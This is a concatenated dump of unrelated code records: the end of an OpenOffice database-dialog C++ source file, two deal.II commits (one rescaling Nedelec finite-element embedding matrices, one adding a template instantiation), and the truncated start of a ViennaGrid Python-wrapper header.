$Revision: 1.7 $\n *\n *  last change: $Author: vg $ $Date: 2006-03-31 12:16:16 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef DBACCESS_SOURCE_UI_UNO_COMPOSERDIALOGS_HXX\n#include \"composerdialogs.hxx\"\n#endif\n\n\/** === begin UNO includes === **\/\n#ifndef _DBU_REGHELPER_HXX_\n#include \"dbu_reghelper.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_SDBCX_XCOLUMNSSUPPLIER_HPP_\n#include <com\/sun\/star\/sdbcx\/XColumnsSupplier.hpp>\n#endif\n\/** === end UNO includes === **\/\n#ifndef DBACCESS_SHARED_DBUSTRINGS_HRC\n#include \"dbustrings.hrc\"\n#endif\n#ifndef DBAUI_QUERYFILTER_HXX\n#include \"queryfilter.hxx\"\n#endif\n#ifndef DBAUI_QUERYORDER_HXX\n#include \"queryorder.hxx\"\n#endif\n#ifndef _CONNECTIVITY_DBTOOLS_HXX_\n#include <connectivity\/dbtools.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n\nextern \"C\" void SAL_CALL createRegistryInfo_ComposerDialogs()\n{\n    static ::dbaui::OMultiInstanceAutoRegistration< ::dbaui::RowsetOrderDialog > aOrderDialogRegistration;\n    static ::dbaui::OMultiInstanceAutoRegistration< ::dbaui::RowsetFilterDialog > aFilterDialogRegistration;\n}\n\n\/\/.........................................................................\nnamespace dbaui\n{\n\/\/.........................................................................\n\n#define PROPERTY_ID_QUERYCOMPOSER       100\n#define PROPERTY_ID_ROWSET              101\n\n    IMPLEMENT_CONSTASCII_USTRING( PROPERTY_QUERYCOMPOSER,   \"QueryComposer\" );\n    IMPLEMENT_CONSTASCII_USTRING( PROPERTY_ROWSET,          \"RowSet\" );\n\n    using namespace ::com::sun::star::uno;\n    using namespace ::com::sun::star::lang;\n    using namespace ::com::sun::star::beans;\n    using namespace ::com::sun::star::container;\n    using namespace ::com::sun::star::sdbcx;\n    using namespace ::com::sun::star::sdbc;\n    using namespace ::com::sun::star::sdb;\n\n    \/\/=====================================================================\n    \/\/= ComposerDialog\n    \/\/=====================================================================\n    DBG_NAME(ComposerDialog)\n    \/\/---------------------------------------------------------------------\n    ComposerDialog::ComposerDialog(const Reference< XMultiServiceFactory >& _rxORB)\n        :ComposerDialog_BASE( _rxORB )\n    {\n        DBG_CTOR(ComposerDialog,NULL);\n\n        registerProperty( PROPERTY_QUERYCOMPOSER, PROPERTY_ID_QUERYCOMPOSER, PropertyAttribute::TRANSIENT,\n            &m_xComposer, ::getCppuType( &m_xComposer ) );\n        registerProperty( PROPERTY_ROWSET, PROPERTY_ID_ROWSET, PropertyAttribute::TRANSIENT,\n            &m_xRowSet, ::getCppuType( &m_xRowSet ) );\n    }\n\n    \/\/---------------------------------------------------------------------\n    ComposerDialog::~ComposerDialog()\n    {\n\n        DBG_DTOR(ComposerDialog,NULL);\n    }\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_IMPLEMENTATION_ID( ComposerDialog )\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_PROPERTYCONTAINER_DEFAULTS( ComposerDialog )\n\n    \/\/---------------------------------------------------------------------\n    Dialog* ComposerDialog::createDialog(Window* _pParent)\n    {\n        \/\/ obtain all the objects needed for the dialog\n        Reference< XConnection > xConnection;\n        Reference< XNameAccess > xColumns;\n        try\n        {\n            \/\/ the connection the row set is working with\n            if ( !::dbtools::isEmbeddedInDatabase( m_xRowSet, xConnection ) )\n            {\n                Reference< XPropertySet > xRowsetProps( m_xRowSet, UNO_QUERY );\n                if ( xRowsetProps.is() )\n                    xRowsetProps->getPropertyValue( PROPERTY_ACTIVECONNECTION ) >>= xConnection;\n            }\n\n            \/\/ fallback: if there is a connection and thus a row set, but no composer, create one\n            if ( xConnection.is() && !m_xComposer.is() )\n                m_xComposer = ::dbtools::getCurrentSettingsComposer( Reference< XPropertySet >( m_xRowSet, UNO_QUERY ), m_xORB );\n\n            \/\/ the columns of the row set\n            Reference< XColumnsSupplier > xSuppColumns( m_xRowSet, UNO_QUERY );\n            if ( xSuppColumns.is() )\n                xColumns = xSuppColumns->getColumns();\n\n            if ( !xColumns.is() || !xColumns->hasElements() )\n            {   \/\/ perhaps the composer can supply us with columns? This is necessary for cases\n                \/\/ where the dialog is invoked for a rowset which is not yet loaded\n                \/\/ #i22878# - 2003-12-16 - fs@openoffice.org\n                xSuppColumns = xSuppColumns.query( m_xComposer );\n                if ( xSuppColumns.is() )\n                    xColumns = xSuppColumns->getColumns();\n            }\n\n            DBG_ASSERT( xColumns.is() && xColumns->hasElements(), \"ComposerDialog::createDialog: not much fun without any columns!\" );\n        }\n        catch( const Exception& )\n        {\n            OSL_ENSURE( sal_False, \"ComposerDialog::createDialog: caught an exception!\" );\n        }\n\n        if ( !xConnection.is() || !xColumns.is() || !m_xComposer.is() )\n            \/\/ can't create the dialog if I have improper settings\n            return NULL;\n\n        return createComposerDialog( _pParent, xConnection, xColumns );\n    }\n\n    \/\/=====================================================================\n    \/\/= RowsetFilterDialog\n    \/\/=====================================================================\n    \/\/---------------------------------------------------------------------\n    RowsetFilterDialog::RowsetFilterDialog( const Reference< XMultiServiceFactory >& _rxORB )\n        :ComposerDialog( _rxORB )\n    {\n    }\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_SERVICE_INFO1_STATIC( RowsetFilterDialog, \"com.sun.star.uno.comp.sdb.RowsetFilterDialog\", \"com.sun.star.sdb.FilterDialog\" )\n\n    \/\/---------------------------------------------------------------------\n    Dialog* RowsetFilterDialog::createComposerDialog( Window* _pParent, const Reference< XConnection >& _rxConnection, const Reference< XNameAccess >& _rxColumns )\n    {\n        return new DlgFilterCrit( _pParent, m_xORB, _rxConnection, m_xComposer, _rxColumns );\n    }\n\n    \/\/---------------------------------------------------------------------\n    void RowsetFilterDialog::executedDialog( sal_Int16 _nExecutionResult )\n    {\n        ComposerDialog::executedDialog( _nExecutionResult );\n\n        if ( _nExecutionResult && m_pDialog )\n            static_cast< DlgFilterCrit* >( m_pDialog )->BuildWherePart();\n    }\n\n    \/\/=====================================================================\n    \/\/= RowsetOrderDialog\n    \/\/=====================================================================\n    \/\/---------------------------------------------------------------------\n    RowsetOrderDialog::RowsetOrderDialog( const Reference< XMultiServiceFactory >& _rxORB )\n        :ComposerDialog( _rxORB )\n    {\n    }\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_SERVICE_INFO1_STATIC( RowsetOrderDialog, \"com.sun.star.uno.comp.sdb.RowsetOrderDialog\", \"com.sun.star.sdb.OrderDialog\" )\n\n    \/\/---------------------------------------------------------------------\n    Dialog* RowsetOrderDialog::createComposerDialog( Window* _pParent, const Reference< XConnection >& _rxConnection, const Reference< XNameAccess >& _rxColumns )\n    {\n        return new DlgOrderCrit( _pParent, _rxConnection, m_xComposer, _rxColumns );\n    }\n\n    \/\/---------------------------------------------------------------------\n    void RowsetOrderDialog::executedDialog( sal_Int16 _nExecutionResult )\n    {\n        ComposerDialog::executedDialog( _nExecutionResult );\n\n        if ( !m_pDialog )\n            return;\n\n        if ( _nExecutionResult )\n            static_cast< DlgOrderCrit* >( m_pDialog )->BuildOrderPart();\n        else if ( m_xComposer.is() )\n            m_xComposer->setOrder( static_cast< DlgOrderCrit* >( m_pDialog )->GetOrignalOrder() );\n    }\n\n\/\/.........................................................................\n}   \/\/ namespace dbaui\n\/\/.........................................................................\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/----------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2001, 2002 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------------------------------------------\n\n\n\/\/ only compile this file if in 2d\n#if deal_II_dimension == 2\n\n\n#include <fe\/fe_nedelec.h>\n\n\/\/ Transfer matrices for finite elements: have one matrix for each of\n\/\/ the four child cells which tells us how the degrees of freedom on\n\/\/ the child cell are obtained from the degrees of freedom on the\n\/\/ mother cell\n\/\/\n\/\/ TODO: [Anna] check whether the following paragraph is correct. if so, then please multiply the values in the four following matrices by two\n\n\/\/ note the following: since the shape functions themselves and not\n\/\/ only the gradients are transformed using the mapping object from\n\/\/ the unit cell to the real cell, the actual values of the function\n\/\/ on the real cell is degree of freedom times value of the shape\n\/\/ function on the unit cell times Jacobian. Thus, what has the DoF\n\/\/ value 1 on the mother cell must have the DoF value 2 on the child\n\/\/ cell since the latter is smaller by a (linear scaling) factor of\n\/\/ two.\nnamespace FE_Nedelec_2d\n{\n  static const double q1_into_q1_refined_0[] =\n  {\n\t1.,  0,  0,  0,\n\t0,   0.5,0,  0.5,\n\t0.5, 0,  0.5,0,\n\t0,   0,  0,  1 \n  };\n\n  static const double q1_into_q1_refined_1[] =\n  {\n  \t1., 0., 0., 0.,\n  \t0., 1., 0., 0.,\n  \t0.5, 0., 0.5, 0.,\n\t0., 0.5, 0., 0.5,\n  };\n\n  static const double q1_into_q1_refined_2[] =\n  {\n  \t0.5, 0., 0.5, 0.,\n \t0., 1., 0., 0.,\n\t0., 0., 1., 0.,\n  \t0., 0.5, 0., 0.5,\n  };\n\n  static const double q1_into_q1_refined_3[] =\n  {\n  \t0.5, 0., 0.5, 0.,\n  \t0., 0.5, 0., 0.5,\n\t0., 0., 1., 0.,\n  \t0., 0., 0., 1.,\n  };\n};  \/\/ namespace FE_Nedelec_2d\n\n\n\/\/ embedding matrices\n\ntemplate <>\nconst double * const \nFE_Nedelec<2>::Matrices::embedding[][GeometryInfo<2>::children_per_cell] =\n{\n      { FE_Nedelec_2d::q1_into_q1_refined_0, FE_Nedelec_2d::q1_into_q1_refined_1,\n\tFE_Nedelec_2d::q1_into_q1_refined_2, FE_Nedelec_2d::q1_into_q1_refined_3 }\n};\n\n\ntemplate <>\nconst unsigned int\nFE_Nedelec<2>::Matrices::n_embedding_matrices\n= sizeof(FE_Nedelec<2>::Matrices::embedding) \/\nsizeof(FE_Nedelec<2>::Matrices::embedding[0]);\n\n\n\/\/ Constraint matrices: how do the new value on child faces depend on\n\/\/ the values on the mother face if that face has a hanging node\n\/\/\n\/\/ Here, the same applies as for the embedding matrices: since the DoF\n\/\/ values are not only multiplied by the values of the shape function\n\/\/ on the unit cell, but also by the transformation, we have to\n\/\/ multiply the value on the large face by 1\/2 to get the same value\n\/\/ back on the small face.  in other words, if a DoF has weight 1 on\n\/\/ the big cell, then it has to have weight 1\/2 on the small ones, in\n\/\/ order to give the same value of the shape function in real space\nnamespace FE_Nedelec_2d \n{\n  static const double constraint_q1[] =\n  {\n\t\t\t\t\t \/\/ the function is constant\n\t\t\t\t\t \/\/ along each edge, so each\n\t\t\t\t\t \/\/ degree of freedom on the\n\t\t\t\t\t \/\/ refined edge has the same\n\t\t\t\t\t \/\/ value as that on the\n\t\t\t\t\t \/\/ coarse edge, modulo the\n\t\t\t\t\t \/\/ issue with the\n\t\t\t\t\t \/\/ transformation described\n\t\t\t\t\t \/\/ above\n  \t1.\/2., 1.\/2.\n  };\n\n};\n\n\ntemplate <>\nconst double * const \nFE_Nedelec<2>::Matrices::constraint_matrices[] =\n{\n      FE_Nedelec_2d::constraint_q1\n};\n\n\ntemplate <>\nconst unsigned int \nFE_Nedelec<2>::Matrices::n_constraint_matrices\n= sizeof(FE_Nedelec<2>::Matrices::constraint_matrices) \/\nsizeof(FE_Nedelec<2>::Matrices::constraint_matrices[0]);\n\n\n\n#else \/\/ #if deal_II_dimension\n\/\/ On gcc2.95 on Alpha OSF1, the native assembler does not like empty\n\/\/ files, so provide some dummy code\nnamespace { void dummy () {}; };\n#endif \/\/ #if deal_II_dimension == 2\n<commit_msg>Fix embedding matrices for 2d.<commit_after>\/\/----------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2001, 2002 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------------------------------------------\n\n\n\/\/ only compile this file if in 2d\n#if deal_II_dimension == 2\n\n\n#include <fe\/fe_nedelec.h>\n\n\/\/ Transfer matrices for finite elements: have one matrix for each of\n\/\/ the four child cells which tells us how the degrees of freedom on\n\/\/ the child cell are obtained from the degrees of freedom on the\n\/\/ mother cell\n\/\/\n\/\/ note the following: since the shape functions themselves and not\n\/\/ only the gradients are transformed using the mapping object from\n\/\/ the unit cell to the real cell, the actual values of the function\n\/\/ on the real cell is degree of freedom times value of the shape\n\/\/ function on the unit cell times inverse Jacobian. Thus, what has\n\/\/ the DoF value 1 on the mother cell must have the DoF value 1\/2 on\n\/\/ the child cell since the latter is smaller by a (linear scaling)\n\/\/ factor of two.\nnamespace FE_Nedelec_2d\n{\n  static const double q1_into_q1_refined_0[] =\n  {\n\t.5,   0,   0 ,  0,\n\t0,    0.25,0,   0.25,\n\t0.25, 0,   0.25,0,\n\t0,    0,   0,   .5 \n  };\n\n  static const double q1_into_q1_refined_1[] =\n  {\n  \t.5,   0.,   0.,   0.,\n  \t0.,   .5,   0.,   0.,\n  \t0.25, 0.,   0.25, 0.,\n\t0.,   0.25, 0.,   0.25,\n  };\n\n  static const double q1_into_q1_refined_2[] =\n  {\n  \t0.25, 0.,   0.25, 0.,\n \t0.,   .5,   0.,   0.,\n\t0.,   0.,   .5,   0.,\n  \t0.,   0.25, 0.,   0.25,\n  };\n\n  static const double q1_into_q1_refined_3[] =\n  {\n  \t0.25, 0.,   0.25, 0.,\n  \t0.,   0.25, 0.,   0.25,\n\t0.,   0.,   .5,   0.,\n  \t0.,   0.,   0.,   .5,\n  };\n};  \/\/ namespace FE_Nedelec_2d\n\n\n\/\/ embedding matrices\n\ntemplate <>\nconst double * const \nFE_Nedelec<2>::Matrices::embedding[][GeometryInfo<2>::children_per_cell] =\n{\n      { FE_Nedelec_2d::q1_into_q1_refined_0, FE_Nedelec_2d::q1_into_q1_refined_1,\n\tFE_Nedelec_2d::q1_into_q1_refined_2, FE_Nedelec_2d::q1_into_q1_refined_3 }\n};\n\n\ntemplate <>\nconst unsigned int\nFE_Nedelec<2>::Matrices::n_embedding_matrices\n= sizeof(FE_Nedelec<2>::Matrices::embedding) \/\nsizeof(FE_Nedelec<2>::Matrices::embedding[0]);\n\n\n\/\/ Constraint matrices: how do the new value on child faces depend on\n\/\/ the values on the mother face if that face has a hanging node\n\/\/\n\/\/ Here, the same applies as for the embedding matrices: since the DoF\n\/\/ values are not only multiplied by the values of the shape function\n\/\/ on the unit cell, but also by the transformation, we have to\n\/\/ multiply the value on the large face by 1\/2 to get the same value\n\/\/ back on the small face.  in other words, if a DoF has weight 1 on\n\/\/ the big cell, then it has to have weight 1\/2 on the small ones, in\n\/\/ order to give the same value of the shape function in real space\nnamespace FE_Nedelec_2d \n{\n  static const double constraint_q1[] =\n  {\n\t\t\t\t\t \/\/ the function is constant\n\t\t\t\t\t \/\/ along each edge, so each\n\t\t\t\t\t \/\/ degree of freedom on the\n\t\t\t\t\t \/\/ refined edge has the same\n\t\t\t\t\t \/\/ value as that on the\n\t\t\t\t\t \/\/ coarse edge, modulo the\n\t\t\t\t\t \/\/ issue with the\n\t\t\t\t\t \/\/ transformation described\n\t\t\t\t\t \/\/ above\n  \t1.\/2., 1.\/2.\n  };\n\n};\n\n\ntemplate <>\nconst double * const \nFE_Nedelec<2>::Matrices::constraint_matrices[] =\n{\n      FE_Nedelec_2d::constraint_q1\n};\n\n\ntemplate <>\nconst unsigned int \nFE_Nedelec<2>::Matrices::n_constraint_matrices\n= sizeof(FE_Nedelec<2>::Matrices::constraint_matrices) \/\nsizeof(FE_Nedelec<2>::Matrices::constraint_matrices[0]);\n\n\n\n#else \/\/ #if deal_II_dimension\n\/\/ On gcc2.95 on Alpha OSF1, the native assembler does not like empty\n\/\/ files, so provide some dummy code\nnamespace { void dummy () {}; };\n#endif \/\/ #if deal_II_dimension == 2\n<|endoftext|>"}
{"text":"<commit_before>\/\/---------------------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/---------------------------------------------------------------------------\n\n#include <dofs\/dof_handler.h>\n#include <dofs\/hp_dof_handler.h>\n\nnamespace \n{\n  \/\/ Functions for the DoFHandler\n  template <int dim>\n  unsigned int\n  max_dofs_per_cell (const DoFHandler<dim> &dh)\n  {\n    return dh.get_fe().dofs_per_cell;\n  }\n\n\n  template <int dim>\n  unsigned int\n  max_dofs_per_face (const DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().dofs_per_face;\n  }\n\n\n  template <int dim>\n  unsigned int\n  get_n_components (const DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().n_components();\n  }\n\n\n  \/\/ Functions for the hp::DoFHandler\n  template <int dim>\n  unsigned int\n  max_dofs_per_cell (const hp::DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().max_dofs_per_cell ();\n  }\n\n\n  template <int dim>\n  unsigned int\n  max_dofs_per_face (const hp::DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().max_dofs_per_face ();\n  }\n\n\n\n  template <int dim>\n  unsigned int\n  get_n_components (const hp::DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().n_components();\n  }\n}\n\n\n#include<numerics\/vectors.templates.h>\n\n\/\/ explicit instantiations\n\n#define VEC Vector<double>\n#include \"vectors.instance.h\"\n#undef VEC\n\n#define VEC Vector<float>\n#include \"vectors.instance.h\"\n#undef VEC\n\n#define VEC BlockVector<double>\n#include \"vectors.instance.h\"\n#undef VEC\n\n#define VEC BlockVector<float>\n#include \"vectors.instance.h\"\n#undef VEC\n\n\ntemplate\nvoid VectorTools::create_right_hand_side<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &);\ntemplate\nvoid VectorTools::create_right_hand_side<deal_II_dimension>\n(const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &);\n\n#if deal_II_dimension != 1\ntemplate\nvoid\nVectorTools::create_boundary_right_hand_side<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension-1> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &,\n const std::set<unsigned char> &);\n#endif\n\ntemplate\nvoid\nVectorTools::create_boundary_right_hand_side<deal_II_dimension>\n(const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension-1> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &,\n const std::set<unsigned char> &);\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension> (\n  const DoFHandler<deal_II_dimension> &,\n  const unsigned char,\n  const Function<deal_II_dimension>   &,\n  std::map<unsigned int,double>       &,\n  const std::vector<bool>    &);\n\n#if deal_II_dimension != 1\ntemplate\nvoid VectorTools::project_boundary_values<deal_II_dimension>\n(const Mapping<deal_II_dimension>     &,\n const DoFHandler<deal_II_dimension>  &,\n const FunctionMap<deal_II_dimension>::type &,\n const Quadrature<deal_II_dimension-1>&,\n std::map<unsigned int,double>        &);\n#endif\n\ntemplate\nvoid VectorTools::project_boundary_values<deal_II_dimension>\n(const DoFHandler<deal_II_dimension>  &,\n const FunctionMap<deal_II_dimension>::type &,\n const Quadrature<deal_II_dimension-1>&,\n std::map<unsigned int,double>        &);\n\n\n\n\/\/ Due to introducing the DoFHandler as a template parameter,\n\/\/ the following instantiations are required in 1d\n#if deal_II_dimension == 1\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension> \n(const Mapping<1>         &,\n const DoFHandler<1>      &,\n const unsigned char,\n const Function<1>        &,\n std::map<unsigned int,double> &,\n const std::vector<bool>       &);\n#endif\n\n\/\/ the following two functions are not derived from a template in 1d\n\/\/ and thus need no explicit instantiation\n#if deal_II_dimension > 1\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const FunctionMap<deal_II_dimension>::type &,\n std::map<unsigned int,double>       &,\n const std::vector<bool>    &);\n\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const unsigned char,\n const Function<deal_II_dimension>   &,\n std::map<unsigned int,double>       &,\n const std::vector<bool>    &);\n\n#endif\n\n\ntemplate\nvoid\nVectorTools::interpolate_boundary_values<deal_II_dimension>\n(const DoFHandler<deal_II_dimension>         &,\n const FunctionMap<deal_II_dimension>::type &,\n std::map<unsigned int,double> &,\n const std::vector<bool>       &);\n\n<commit_msg>Instantiate interpolate_boundary_values for hp.<commit_after>\/\/---------------------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/---------------------------------------------------------------------------\n\n#include <dofs\/dof_handler.h>\n#include <dofs\/hp_dof_handler.h>\n\nnamespace \n{\n  \/\/ Functions for the DoFHandler\n  template <int dim>\n  unsigned int\n  max_dofs_per_cell (const DoFHandler<dim> &dh)\n  {\n    return dh.get_fe().dofs_per_cell;\n  }\n\n\n  template <int dim>\n  unsigned int\n  max_dofs_per_face (const DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().dofs_per_face;\n  }\n\n\n  template <int dim>\n  unsigned int\n  get_n_components (const DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().n_components();\n  }\n\n\n  \/\/ Functions for the hp::DoFHandler\n  template <int dim>\n  unsigned int\n  max_dofs_per_cell (const hp::DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().max_dofs_per_cell ();\n  }\n\n\n  template <int dim>\n  unsigned int\n  max_dofs_per_face (const hp::DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().max_dofs_per_face ();\n  }\n\n\n\n  template <int dim>\n  unsigned int\n  get_n_components (const hp::DoFHandler<dim> &dh) \n  {\n    return dh.get_fe().n_components();\n  }\n}\n\n\n#include<numerics\/vectors.templates.h>\n\n\/\/ explicit instantiations\n\n#define VEC Vector<double>\n#include \"vectors.instance.h\"\n#undef VEC\n\n#define VEC Vector<float>\n#include \"vectors.instance.h\"\n#undef VEC\n\n#define VEC BlockVector<double>\n#include \"vectors.instance.h\"\n#undef VEC\n\n#define VEC BlockVector<float>\n#include \"vectors.instance.h\"\n#undef VEC\n\n\ntemplate\nvoid VectorTools::create_right_hand_side<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &);\ntemplate\nvoid VectorTools::create_right_hand_side<deal_II_dimension>\n(const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &);\n\n#if deal_II_dimension != 1\ntemplate\nvoid\nVectorTools::create_boundary_right_hand_side<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension-1> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &,\n const std::set<unsigned char> &);\n#endif\n\ntemplate\nvoid\nVectorTools::create_boundary_right_hand_side<deal_II_dimension>\n(const DoFHandler<deal_II_dimension> &,\n const Quadrature<deal_II_dimension-1> &,\n const Function<deal_II_dimension>   &,\n Vector<double>                      &,\n const std::set<unsigned char> &);\n\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension> (\n  const DoFHandler<deal_II_dimension> &,\n  const unsigned char,\n  const Function<deal_II_dimension>   &,\n  std::map<unsigned int,double>       &,\n  const std::vector<bool>    &);\n\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension> (\n  const hp::DoFHandler<deal_II_dimension> &,\n  const unsigned char,\n  const Function<deal_II_dimension>   &,\n  std::map<unsigned int,double>       &,\n  const std::vector<bool>    &);\n\n#if deal_II_dimension != 1\ntemplate\nvoid VectorTools::project_boundary_values<deal_II_dimension>\n(const Mapping<deal_II_dimension>     &,\n const DoFHandler<deal_II_dimension>  &,\n const FunctionMap<deal_II_dimension>::type &,\n const Quadrature<deal_II_dimension-1>&,\n std::map<unsigned int,double>        &);\n#endif\n\ntemplate\nvoid VectorTools::project_boundary_values<deal_II_dimension>\n(const DoFHandler<deal_II_dimension>  &,\n const FunctionMap<deal_II_dimension>::type &,\n const Quadrature<deal_II_dimension-1>&,\n std::map<unsigned int,double>        &);\n\n\n\n\/\/ Due to introducing the DoFHandler as a template parameter,\n\/\/ the following instantiations are required in 1d\n#if deal_II_dimension == 1\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension> \n(const Mapping<1>         &,\n const DoFHandler<1>      &,\n const unsigned char,\n const Function<1>        &,\n std::map<unsigned int,double> &,\n const std::vector<bool>       &);\n#endif\n\n\/\/ the following two functions are not derived from a template in 1d\n\/\/ and thus need no explicit instantiation\n#if deal_II_dimension > 1\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const FunctionMap<deal_II_dimension>::type &,\n std::map<unsigned int,double>       &,\n const std::vector<bool>    &);\n\ntemplate\nvoid VectorTools::interpolate_boundary_values<deal_II_dimension>\n(const Mapping<deal_II_dimension>    &,\n const DoFHandler<deal_II_dimension> &,\n const unsigned char,\n const Function<deal_II_dimension>   &,\n std::map<unsigned int,double>       &,\n const std::vector<bool>    &);\n\n#endif\n\n\ntemplate\nvoid\nVectorTools::interpolate_boundary_values<deal_II_dimension>\n(const DoFHandler<deal_II_dimension>         &,\n const FunctionMap<deal_II_dimension>::type &,\n std::map<unsigned int,double> &,\n const std::vector<bool>       &);\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef CARTESIAN_HPP_40UV2UQE\n#define CARTESIAN_HPP_40UV2UQE\n\n#include \"types.hpp\"\n\n#include <boost\/python.hpp>\nusing namespace boost::python;\n\nclass PointCartesian2D {\n\t\/**\n\t * Pointer to the low-level ViennaGrid point type.\n\t**\/\n\tPointCartesian2D_t *point;\n\t\n\tint id;\npublic:\n\t\/**\n\t * Initialize point in the 2D cartesian space with coordinates (0, 0).\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian2D();\n\t\n\t\/**\n\t * Initialize point in the 2D cartesian space with coordinates (x, y) as specified by the parameters.\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian2D(double x, double y);\n\t\n\t\/**\n\t * Initialize point in the DIM cartesian space from a ViennaGrid point.\n\t *\n\t * What this makes is to set the pointer to point to the ViennaGrid point and thus solves the issue caused by\n\t * the fact that the ViennaGrid point was being copied, thus not being able to get references to the points\n\t * stored in the domain and thus not being able to modify them.\n\t *\n\t * This constructor is meant to be used by the wrapper code when the programmer tries to get a reference to\n\t * a point stored in a domain (not when they want to define a point on their own!), and *does not* allocate\n\t * memory in the heap, thus elliminating the need for the constructor to free that memory when this constructor\n\t * has been used. At first, one would think that it should be distinguished in some way when the object has been\n\t * instantiated using this constructor or any other constructor in order for the destructor to only free when\n\t * another constructor has been called, not this one. However, we have shown that no freeing action is need at all.\n\t**\/\n\tPointCartesian2D(PointCartesian2D_t &initial_point, unsigned int initial_id=0);\n\tsize_t get_dimension();\n\tconst char * get_coord_system();\n\tPointCartesian2D_t & get_point();\n\tbool operator==(const PointCartesian2D &other);\n\tunsigned int get_id();\n\tvoid set_id(unsigned int new_id);\n\tdouble 